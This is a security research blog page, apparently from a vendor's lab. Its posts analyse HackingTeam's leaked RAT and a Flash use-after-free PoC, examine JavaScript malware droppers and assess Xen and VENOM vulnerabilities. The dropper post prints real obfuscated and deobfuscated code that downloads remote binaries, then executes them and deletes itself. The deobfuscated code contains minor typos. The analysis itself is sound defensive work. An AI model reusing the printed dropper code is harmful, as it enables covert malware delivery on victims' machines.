Skip to content
July 10, 2015 / Nick Cano

Government Grade Malware: a Look at HackingTeam’s RAT

malware2

Security researchers the world over have been digging through the massive HackingTeam dump for the past five days, and what we’ve found has been surprising. I’ve heard this situation called many things, and there’s one description that I can definitely agree with: it’s like Christmas for hackers.

“On the fifth day of Christmas Bromium sent to me a malware analysis B-L-O-G” – You

This is a very interesting situation we’ve found ourselves in. We have our hands on the code repositories of HackingTeam, and inside of them we’ve found the source code for a cross-platform, highly-featured, government-grade RAT (Remote Access Trojan). It’s rare that we get to do analysis of complex malware at the source-code level, so I couldn’t wait to write a blog about it!

The first thing I noticed when I dove into the repositories was a bunch of projects for “RCS Agents”, and each of these agents seems to be a malware core for the HackingTeam RAT called Remote Control System, or RCS.

malware1

Each of the cores is made for a different OS and, together, they comprise a multi-platform malware that works on Windows, Windows Phone, Windows Mobile, Mac OSX, iOS, Linux, Android, BlackBerry OS, and Symbian. In this blog, I’ll cover the core-win32 repository, but you can assume that the functionality in the Windows agent is present on every other platform.

Background

The code in this repository makes up a 32-bit DLL that is injected system-wide on Windows, enabling the malware to exist in the process space of many potential target applications. There’s also a core-win64 repository that contains the tools to compile this DLL for 64-bit systems.

When the DLL is injected into a process, it will unlink itself from the PEB (Process Environment Block) module list and start an IPC channel to communicate with other instances of the malware and, ultimately, to a root instance that is responsible for talking to the C&C server.

Core Functionality

RCS contains dozens of run-of-the-mill spying tools, similar to the ones found in tools like Blackshades and DarkComet. Here’s a look at the source code:

malware2

From a quick glance, we can see a number of ‘interesting’ tools:

  • HM_Pstorage.h and HM_PWDAgent (folder): grabs stored passwords from Firefox, Internet Explorer, Opera, Chrome, Thunderbird, Outlook, MSN Messenger, Paltalk, Gtalk, and Trillian.
  • HM_IMAgent.h and HM_IMAgent (folder): records conversations from Skype, Yahoo IM (versions 7 through 10), MSN Messenger (versions 2009 through 2011, now discontinued), and ICQ (version 7 only).
  • HM_SocialAgent.h and Social (folder): grabs session cookies for Gmail, Facebook, Yahoo Mail, Outlook (web client), and Twitter from Firefox, Chrome, and IE.
  • HM_MailCap.h, HM_Contacts.h, HM_MailAgent (folder) and HM_ContactAgent (folder): captures emails and contacts from Outlook and Windows Live Mail.
  • HM_AmbMic.h and HM_MicAgent (folder): records ambient noise picked up by any attached microphones.
  • wcam_grab.h and wcam_grab.cpp: periodically snap and save photos from attached webcam.
  • HM_Clipboard.h: grabs any data that is stored on the clipboard.
  • HM_KeyLog.h: logs all keystrokes.
  • HM_MouseLoh.h: logs all mouse movements and clicks.
  • HM_UrlLog.h: records visited URLs in Firefox, Chrome, IE, and Opera.

There’s nothing really novel in the code, and the methods mostly utilize standard API calls. This functionality is pretty common in most RATs, but we should consider that most of these files were checked into the repository as early as 2011, meaning RCS may have pioneered some of these features.

Some closer analysis of the code reveals that RCS does have some rarer features, though. In HM_SkypeRecord.h and HM_SkypeACL (folder), for instance, we can see that they use the DirectSound API to capture active Skype calls and save the audio using the Speex codec.

malware3

Additionally, we see that RCS can monitor printed documents (HM_PrintPool.h) and even grab private keys, balances, and transactions from Bitcoin, Litecoin, Feathercoin, and Namecoin wallets (HM_Money.h).

malware4

Luckily for us Shibe fans, they don’t seem to monitor Dogecoin wallets.

Geolocation

RCS uses the WLAN (wireless LAN) API functions from WLANAPI.DLL to enumerate nearby WiFi hotspots. Many hotspots expose geolocation information and RCS looks for this information so it can determine where the infected machine is, even when it is hiding behind a VPN or proxy.

malware5

Lateral Movement

Since HackingTeam seems to have a stockpile of 0days for lateral movement, you would think RCS wouldn’t employ any features with that specific purpose. You’d be wrong, though. They seem to have an infector that can infect USB drives, phones running Windows Mobile, and VMWare disks. This infector is located in HM_PDAAgent.h.

The USB infector is pretty standard. RCS polls for new USB drives, drops an installer on them, and infects the autorun.inf file to run that installer.

malware6-1

The Windows Mobile infector works in much the same way, copying the malware from the core-winmobile repository to the phone as a file called autorun.exe. Afterwards, it drops an infected autorun.zoo file on the phone. All of this is done using functions from the standard Windows Phone API, RAPI.DLL.

malware7

The VMWare installer is a bit trickier. First, it will search for any VMWare disks (.vmdk) that aren’t in use. When it finds one, it will mount it to an open drive letter and then drop a RCS installer in either C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ (Windows 7 and above) or C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ (Windows XP). This code is a bit too bulky to post, but it starts on line 731 of HM_PDAAgent.h, in case you get your hands on the code and want to take a look.

Self-Protection

RCS has a myriad of self-protection mechanisms, including AV detection, API call obfuscation, and API hook evasion. For starters, the AV detection is capable of detecting twenty-six different AV tools. Here’s a snippet from av_detect.h:

malware8

RCS detects these AVs either by looking for their drivers or checking the environment for certain variables. It’s smart enough to know which of its features will trigger alerts with which AVs, and will selectively disable features to remain hidden.

malware9

The malware also uses obfuscated API calls to prevent any form of static analysis from understanding what it is doing. In the file DynamiCall\obfuscated_calls.h, the malware has encoded strings that represent DLL names and API function names that it calls.

malware10

From there, DynamiCall\dynamic_import.h and DynamiCall\dynamic_import.cpp take care of decoding the strings, loading the DLLs, and resolving the addresses of the functions. Additionally, RCS has a set of API functions that it will only call if it can confirm that they aren’t being monitored: ReadProcessMemory, WriteProcessMemory, CreateRemoteThread, CreateThread, GetProcAddress, VirtualAllocEx, GetWindowText, SendMessageTimeout, and VirtualProtectEx. Every time one of these functions is called, RCS will grab the DLL that contains the function, manual-map it into memory, locate the target function in the manually-mapped library, and copy the first five bytes from the manually-mapped library over the first five bytes of the function in the actual library. If any step in this process fails, the malware will not call the function. The code that does this is pretty bulky, but you can find it in HM_SafeProcedures.h, HM_SafeProcedures.cpp, HM_PreamblePatch.h, and HM_PreamblePatch.cpp.

One of the most telling pieces of code in the malware, though, is an unfinished snippet starting on line 48 of format_resistant.cpp, which suggests the team was developing a way for RCS to persist through UEFI infection. Though the code is unfinished, it is telling of their future ambitions.

Note: Other repositories also contain some kernel-mode rootkits to hide the malware, but this blog is already getting pretty beefy.

Closing Thoughts

HackingTeam’s RCS is a fully-featured RAT with the ability to intercept large amounts of personal information, record conversations, access cameras, propagate to peripheral devices, and do it all without triggering any alarms. The source-code shows that the malware was developed by a very ambitious team, and the repository logs make it clear that it was under active development. The implications this carries are huge, especially considering HackingTeam’s customer list.

July 7, 2015 / Nick Cano

Adobe Flash Zero Day Vulnerability Exposed to Public

For those paying attention to infosec news, it’s no secret that HackingTeam – a provider of exploits and malware to governments around the world – has been hacked. The hackers who hacked the hackers released a torrent with over 400GB of internal HackingTeam software, tools, write-ups, and, of course, 0-day exploits. One of the exploits we’ve come across was first exposed by the Twitter user @w3bd3vil, and is reminiscent of the “ActionScript-Spray” attack used in CVE-2014-0322 and first documented by Bromium researcher Vadim Kotov. In summary, CVE-2014-0322 used a UAF (user after free) vulnerability in Microsoft’s Internet Explorer to increase the size of an ActionScript Vector object, giving the attacker access to the heap of the process. HackingTeam’s exploit uses this idea to achieve execution, but uses a UAF bug internal to the ActionScript 3 engine.

Note: before diving in, let’s remember that this is not a weaponized 0day, but a PoC that HackingTeam provided to customers, so we don’t have any malicious payload to accompany it; only a simple calc.exe pop.

The UAF vulnerability is quite simple. First, it sprays the heap with multiple ByteArray objects and surrounds each one with MyClass2 objects.

snip1

Spraying ByteArray and MyClass2 instances into memory

This loop iterates 30 times, effectively filling up the Array object a like so:

for i 1 to 30:

a.insert(MyClass2 instance)

a.insert (ByteArray with length 0xfa0 [4000 bytes])

a.insert (MyClass2 instance)

This spray strategically allocates a chunk of two sequential pages next to each ByteArray object, setting up ActionScript’s memory manager for exploitation. Before I dive into the code that does the exploitation, I want to give you a 10,000 foot view of how the exploit works. When a class instance is placed inside of a ByteArray, ActionScript will attempt to call the class’ member function .valueOf(), which is expected to return the actual byte to insert into the ByteArray; this is where the magic happens. ActionScript internally stores the location to the target ByteArray slot before calling .valueOf(), and it places the returned value at the stored location. In order to exploit this behavior, the attack resizes the target ByteArray from inside of .valueOf(). This causes a new chunk of memory to be allocated for the ByteArray object, freeing the old memory. Before returning, .valueOf() allocates a Vector that matches the size of the old ByteArray object. With a bit of luck (hence the 30 tries), the memory manager places the new Vector object on the freed memory from the old ByteArray. Then, when .valueOf() returns, ActionScript will write the return value directly to the length field of new Vector.

The attack iterates backwards over the sprayed ByteArray objects in a, and attempts to trigger the UAF on each one using this method. Here’s what the implementation looks like:

snip2

Attempting to trigger the vulnerability condition on the sprayed ByteArray objects

After .valueOf() returns and the ByteArray is updated, the attack loops over the list of Vector objects that it allocated (stored in _va) and checks their size. If any Vector has a size that is not 0x3f0, it means that the exploit succeeded in partially over-writing the size with the byte 0x40.

snip3

Checking the newly-allocated vector objects to see if one was affected by the exploit

From there, the attack uses the same method that was used to write the payload in CVE-2014-0322. The attack treats the affected Vector as a pointer to the entire memory space of the program (well, not the entire memory, but all memory following the Vector). It uses this to scan memory for the PE header of KERNEL32.DLL and grabs the address of VirtualProtect from the export table. Next, it overwrites the VFT (virtual function table) of an internal class with the address of VirtualProtect, and calls the function to set the memory of the MyClass2 instance directly after the affected Vector to PAGE_EXECUTE_READWRITE. With the MyClass2 memory set to executable, the attack finishes by finally placing its shellcode payload within the MyClass2 instance and using the same VFT trick to execute it.

Out of the box, this exploit comes with shellcode for Windows (both 32 and 64 bit) and Mac OSX (64 bit only). According to the documentation present in the dump, this exploit should work with every version of Flash Player from version 9 until 18.0.0.194. We’ve got it working internally with Flash Player 18 and Internet Explorer, which indicates this it is clearly a zero day risk to internet users today. Given legitimately sophisticated shellcode and mitigation bypass techniques similar to the ones documented by Bromium researcher Jared DeMott, this exploit has the potential to completely own almost any system that it hits, and can be reliably blocked by leveraging robust isolation technologies.

UPDATE 7/8/2015: It seems like Adobe has already released a patch for this vulnerability, and Flash Player versions 18.0.0.203 and above should be protected.

June 12, 2015 / Vadim Kotov

Oh look – JavaScript Droppers

In a typical drive-by-download attack scenario the shellcode would download and execute a malware binary. The malware binary is usually wrapped in a dropper that unpacks or de-obfuscates and executes it. Droppers’ main goal is to launch malware without being detected by antiviruses and HIPS. Nowadays the most popular way of covert launching would probably be process hallowing. Recently we found a couple of curious specimen that does not follow this fashion. These cases are not new, but we thought they’re worth mentioning because we’ve been seeing quite a few of those lately. One of them is the shellcode from an Internet Explorer exploit, which instead of downloading a binary executes the following CMD command:

Windows/syswow64/cmd.exe cmd.exe /q /c cd /d "%tmp%" && echo var w=g("WScript.Shell"),a=g("Scripting.FileSystemObject"),w1=WScript;try{m=w1.Arguments;u=600;o="***";w1.Sleep(u*u);var n=h(m(2),m(1),m(0));if (n.indexOf(o)^>3){k=n.split(o);l=k[1].split(";");for (var i=0;i^<l.length;i++){v=h(m(2),l[i],k[0]);z=0;var s=g("\x41\x44\x4f\x44\x42\x2e\x53\x74\x72\x65\x61\x6d");f=a.GetTempName();s.Type=2;s.Charset="iso-8859-1";s.Open();d=v.charCodeAt(v.indexOf("PE\x00\x00")+23);x1=".\x65x\x65";s.WriteText(v);if(31^<d){z=1;f+=".dll"}else f+=x1;s.SaveToFile(f,2);z^&^&(f="regsvr32"+x1+" /s "+f);s.Close();w.run("cmd"+x1+" /c "+f,0);w1.Sleep(u*2)}}}catch(q){}df();function r(k,e){for(var l=0,n,c=[],q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e.charCodeAt(b%e.length)^&255,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&255,l=l+c[b]^&255,n=c[b],c[b]=c[l],c[l]=n,q.push(String.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&255]));return q.join("")}function su(k,e){k.setRequestHeader("User-Agent",e)}function h(k,y,j){var e=g("WinHttp.WinHttpRequest.5.1");e.SetProxy(0);e.Open("\x47E\x54",y,0);su(e,k);e.Send();if(200==e.status)return r(e.responseText,j)}function df(){a.deleteFile(w1.ScriptFullName)}function g(k){return new ActiveXObject(k)};>wtm.js && start wscript //B wtm.js "y0fz0r5qF2MT" "hxxp://mediafilled.com/?utm_source=48853" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"

It’s actually a one liner that creates a JavaScript file and launches it using wscript. The de-obfuscated JavaScript code looks like this:


var w = new ActiveXObject("WScript.Shell"),
    a = new ActiveXObject("Scripting.FileSystemObject"),

try {
    rc4_key = WScript.Arguments(0)
    URL = WScript.Arguments(1)
    user_agent_string = WScript.Arguments(2)

    separator = "***";

    WScript.Sleep(360000);

    var n = request_and_decrypt(user_agent_string, URL, rc4_key);

    if (n.indexOf(separator) > 3) {
        k = n.split(separator);
        l = k[1].split(";");

        for (var i = 0; i < l.length; i++) {
            v = request_and_decrypt(user_agent_string, l[i], k[0]);
            is_dll = 0;
            var s = new ActiveXObject('ADODB.Stream');
            filename = a.GetTempName();
            s.Type = 2;
            s.Charset = "iso-8859-1";
            s.Open();

            pe_chracteristics = v.charCodeAt(v.indexOf("PE\x00\x00") + 23);
            s.WriteText(v);

            if (31 < pe_charactersistics) {
                is_dll = 1;
                filename += ".dll"
            } else {
                filename += ".exe";
            }

            s.SaveToFile(filename, 2);

            if(is_dll)
                filename = "regsvr32.exe /s " + filename);

            s.Close();

            w.run("cmd.exe /c " + filename, 0);

            WScript.Sleep(1200)

        }

    }

} catch (q) {}


a.deleteFile(WScript.ScriptFullName)


function RC4_decrpyt(k, e) {
    for (var l = 0, n, c = [], q = [], b = 0; 256 > b; b++)c[b] = b;

    for (b = 0; 256 > b; b++) l = l + c[b] + e.charCodeAt(be.length) & 255, n = c[b], c[b] = c[l], c[l] = n;

    for (var p = l = b = 0; p < k.length; p++) b = b + 1 & 255, l = l + c[b] & 255, n = c[b], c[b] = c[l], c[l] = n, q.push(String.fromCharCode(k.charCodeAt(p) ^ c[c[b] + c[l] & 255]));

    return q.join("")

}



function request_and_decrypt(user_agent_string, URL, rc4_key) {

    var request = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
    request.SetProxy(0);
    request.Open("GET", URL, 0);
    request.setRequestHeader("User-Agent", user_agent_string)
    request.Send();

    if (200 == request.status)
        return RC4_decrpyt(request.responseText, rc4_key)

}

After 6-minute sleep the script will download an RC4 encrypted text file containing URLs of malware binaries. It decrypt the list and for each entry downloads, decrypts and executes the corresponding binary. The same RC4 key is used for all the downloads. Before launching a binary it checks the PE header to determine if it’s an EXE or a DLL. In ther former case it will issue:

cmd.exe /c .exe

in the latter:

regsvr32.exe /s .dll

After that the script will delete itself. We could assume certain benefits of this approach:

  1. It might trick some HIPS or pro-active AV modules
  2. The binaries are encrypted – therefore the chances of network detection are scarce
  3. The URLs of malicious binaries are not hardcoded – they are easily configurable

Interestingly we saw a similar dropper in an EXE as well. A fake Flash Player installer from hxxp://twitclh.tv/berterofficial/v/5474368/ is an EXE that shows clean on VirusTotal (permalink). It creates a JavaScript file and batch script. Here’s the de-obfuscated JavaScript:


(function(c) {
    function a(a, b) {
        if (!b || !a) return null;
        b = e["ExpandEnvironmentStrings"](b);
        var d = WScript.CreateObject("Msxml2.XMLhttp");
        d.open("GET", a, !1);
        d.send(null);
        var c = new ActiveXObject("ADODB.Stream");
        with(c) return Mode = 3, Type = 1, Open(), Write(d["responseBody"]), SaveToFile(b, 2), Close(), b
    }

    fso = new ActiveXObject("Scripting.FileSystemObject");
    var e = new ActiveXObject("WScript.Shell");
    c = new ActiveXObject("Shell.Application" );
    FileDestr = e["ExpandEnvironmentStrings"]("%APPDATA%\\");

    a("https://copy.com/kH0joqRbalvYJHgV", "%APPDATA%\\7winzip.exe");
    a("https://copy.com/ZNkwaUExZCdlxsXV", "%APPDATA%\\wilndfiles");
    a("https://copy.com/sWvTey97XnV3R87g", "%APPDATA%\\wilndfile.cmd");
    a("https://copy.com/OXqMLsoKtDXcrQp0", "%APPDATA%\\wilndfiler.cmd");

    c.ShellExecute("cmd.exe", '/c"' + FileDestr + 'wilndfile.cmd"', "", "runas", 0);
    c.ShellExecute("cmd.exe", '/c"' + FileDestr + 'wilndfiler.cmd"', "", "runas", 0);

})(this);

It downloads 4 files from copy.com and notice that these are HTTPS connections again rendering traffic filters useless. The files are:

  1. exe – a instance of 7zip
  2. wilndfiles – a password protected 7z archive
  3. cmd – a batch script
  4. cmd – a batch script

After that it executes both scripts. First one unpacks the archive and launches malware, second – cleans up all the dropper related files. Is this method more beneficial than more traditional droppers? It appears so. Instead of making more sophisticated PE droppers it seems rational to just switch to JavaScript and use PE as a “dropper” for javascript. Given 0 positives on Virus Total it seems antiviruses do not scrutinize them too well. Of course VirusTotal doesn’t do justice to the antiviruses. Some of them have HIPS modules and various heuristics and could possibly detect it. But still none of them had a signature for this dropper, not even generic one and this should be alarming.

May 13, 2015 / Jared DeMott

The Floppies Won’t Eat Your Mouse

We heard tell of a mean ol’ venom on the street (CVE-2015-3456).  “Hey, give that back to Spidey.”

 venom1

So we decided to have a look.  But we’re not talking about superheroes.  We’re talking about floppy.  Remember this fella?

venom2

He seems bummed out.  That’s because there’s not much need for him anymore.  Or so we thought.  Let’s give it over to the expert:

venom3

“Thank you Captain.  Indeed certain hypervisors may still include code, which enables the use of this primitive alien technology, known as the “floppy”.  As expected, federation level technologies (Bromium) removed such useless code to begin with.  (E.g. vSentry is not at all vulnerable.)

The source code file that holds the vulnerability is fdc.c.  Here is the detailed code flaw and fix:

http://xenbits.xen.org/xsa/xsa133-qemut.patch

Though it has not been observed, it appears that rogues with system level privileges in a VM could escape to host, if the vulnerable code were compiled in.  Estimating impact is non-trivial as always.  Most of the risk is in the cloud, and details about the exact compiled version of their hypervisor are unlikely to surface.  Either way, providers will react to this threat quickly.  Thus, real world impact is not expected at this time.”

Now back to our regularly scheduled program.

P.S. This bug was found by Jason Geffner – Great job!

April 1, 2015 / Nick Cano

The ABC’s of APT

Here at Bromium Labs, we’re always striving to further our knowledge of the rapidly-changing attack landscape that threatens our enterprise customers. Over the past few months, our dedicated team of researchers have collectively developed a severe chemical dependency on caffeine in search of a paradigm to clearly define this landscape in a way that could benefit the security community as a whole. What they came up with is truly groundbreaking, and will go down in history as “The ABC’s of APT.”

ABC's of APT

Image CopyWronged© By Bromium Labs

As we all know, the term APT refers to an “Advanced Persistent Threat.” In our research, we realized each APT has unique behavior, and casting them all under one umbrella can be a slippery slope towards people marrying their television sets. For this reason, we devised our own paradigm that strips the broad term “APT” from threat diagnoses and, instead, categorizes them using a more specialized spectrum. Surprisingly, this spectrum happens to encompasses twenty-six different distinct behaviors – each of which can be represented using one letter of the alphabet. And, thus, The ABC’s of APT were born. Without further blabbering, here’s our finished diagnosis table:

Read more…

March 12, 2015 / Vadim Kotov

Achievement Locked: New Crypto-Ransomware Pwns Video Gamers

Gamers may be used to paying to unlock downloadable content in their favorite games, but a new crypto-ransomware variant aims to make gamers pay to unlock what they already own. Data files for more than 20 games can be affected by the threat, increasing what is already a large target for cybercriminals. Another file type that hasn’t been targeted before is iTunes related. But first, let’s have a look at the initial infection.

Read more…

March 10, 2015 / Rafal Wojtczuk

The five Xen Security Advisories from March 2015 and Bromium vSentry

Five Xen hypervisor security advisories – XSA-120, XSA-121, XSA-122, XSA-123 and XSA-124 have been published recently. Let’s have a look how they relate to the Bromium vSentry hypervisor, uXen, that has been derived from Xen.

Summary of impact on uXen

XSA-120 – not vulnerable
XSA-121 – minor data disclosure
XSA-122 – minor data disclosure
XSA-123 – not vulnerable
XSA-124 – not vulnerable

XSA-120 and XSA-124

These vulnerabilities are related to PCI-passthrough functionality. If a malicious VM has been granted direct access to a PCI device, it can crash the host. Currently, in Bromium vSentry we do not pass any PCI devices to any VM, therefore these vulnerabilities are not relevant.

XSA-121

The code responsible for emulation of some hardware (e.g. real-time clock, interrupt controller) refuses to handle unexpected requests from the VM. Unfortunately, the upper layers of the emulator still return 4 bytes of uninitialized data to the VM, despite the fact that this location has not been filled by the lower layer of the code. This results in a limited information disclosure – four bytes from the hypervisor address space are disclosed to the VM. These four bytes reside in the hypervisor stack. Therefore, the impact is minimal – the only information useful for an attacker is the partial value of pointers residing on the stack. This is not interesting by itself, but it might be helpful when exploiting another (unrelated) vulnerability based on memory corruption, because it makes ASLR protection ineffective.
uXen is potentially vulnerable to this issue.

XSA-122

This issue is very similar to XSA-121. This time, limited information disclosure of the contents of the hypervisor’s stack occurs when handling the “xen_version” hypercall. The impact is also identical to XSA-121 (the difference is that more than 4 bytes can be disclosed).
uXen is potentially vulnerable to this issue.

XSA-123

This is the most interesting one of the four, because this is a hypervisor memory corruption. The discoverer’s analysis is here; the below independent analysis is essentially the same, with a few extra bits on the CPU0 case.
The vulnerability lies in the code responsible for instruction emulation. The Xen emulator maintains the following data structure (C union):
union {
/* OP_REG: Pointer to register field.*/
unsigned long *reg;
/* OP_MEM: Segment and offset. */
struct { enum x86_segment seg; unsigned long off; } mem;
};

If the instruction accesses memory, then the “mem” field of the union should be used. If the instruction accesses a register, then the “reg” pointer should be used – it points to the stored register on the hypervisor stack. The problem arises when Xen emulates an instruction that does not access memory, but is prefixed by the segment override prefix (naturally, such a combination does not make sense). In such case, the “reg” pointer is first initialized to a legal location, but then the “mem.seg” field is also written to. As both fields (“reg” and “seg”) share the same location (this is how C unions work), the result is that the “reg” pointer is corrupted. Subsequently, this pointer is read or written to with a controllable value.
The crucial limitation is that the “reg” pointer is 8 bytes long (assuming x86-64 architecture) and the “seg” field is 4 bytes long (unless “–short-enums” option is passed to the compiler, but it seems to not be the case at least by default). It means that only the low 4 bytes of “reg” can be controlled, and with a very limited range of values. The biggest possible value of “enum x86_segment” type, that can be a prefix, is 5. If the original value of “reg” was 0xXXXXXXXXYYYYYYYY, we can turn it to 0xXXXXXXXX0000000Z, where Z is in 0-5 range (and the high 32 bits are unchanged). Initially, the “reg” field points to the hypervisor stack. In order to understand the impact, we need to know the possible ranges of the hypervisor stack locations. The following information was gathered on Xen-4.4.1 x86-64 system (particularly, the file xen-4.4.1/xen/include/asm-x86/config.h is very helpful). There are two cases:
1) An attacker controls a VM that can run on physical CPU 0. The stack for CPU 0 resides in the Xen image bss section, so it is located at an address a bit higher than 0xffff82d080000000. After overwrite, this pointer will have the value 0xffff82d00000000Z (again, 0<=Z<=5). This virtual address is mapped and belongs to the compatibility machine-to-phys translation table. This data structure is used only for PV VMs (while the vulnerability can only be triggered from a HVM), therefore (most likely) an attacker needs to control both a PV VM and a HVM to proceed. Even in this case, it is unclear how an ability to control the first entry in machine-to-phys translation table can help an attacker.
2) An attacker controls a VM that cannot run on physical CPU 0. Hypervisor stacks for CPUs other than 0 are allocated on the Xen heap. The typical address of the stack top is 0xffff830000000000+physical_memory_size-something_small, because memory for CPU stacks are allocated early at the Xen boot time, from the top of physical memory (and all physical memory is mapped at the virtual address 0xffff830000000000). After the vulnerability is triggered, the “reg” pointer will have the value 0xffff830V0000000Z, where again 0<=Z<=5, and V=(int)(physical_memory_size_in_GB/4.0). This address is mapped to a single physical frame that can serve any purpose – e.g. can be used by dom0 kernel to store crucial pointers. However, it is nontrivial for a malicious VM to force the hypervisor to allocate this frame in a way that would result in reliable privilege escalation. On the other hand, uncontrolled memory corruption in another VM (limited to a single page) is likely.
The good news is that uXen is not vulnerable to this issue. We identified the Xen instruction emulator as a possible attack target a long time ago, and its functionality in uXen is severely limited. Particularly, uXen (when running a microVM) refuses to emulate an instruction with a segment override – if such an instruction is seen, the microVM is killed.

Follow

Get every new post delivered to your Inbox.

Join 10,460 other followers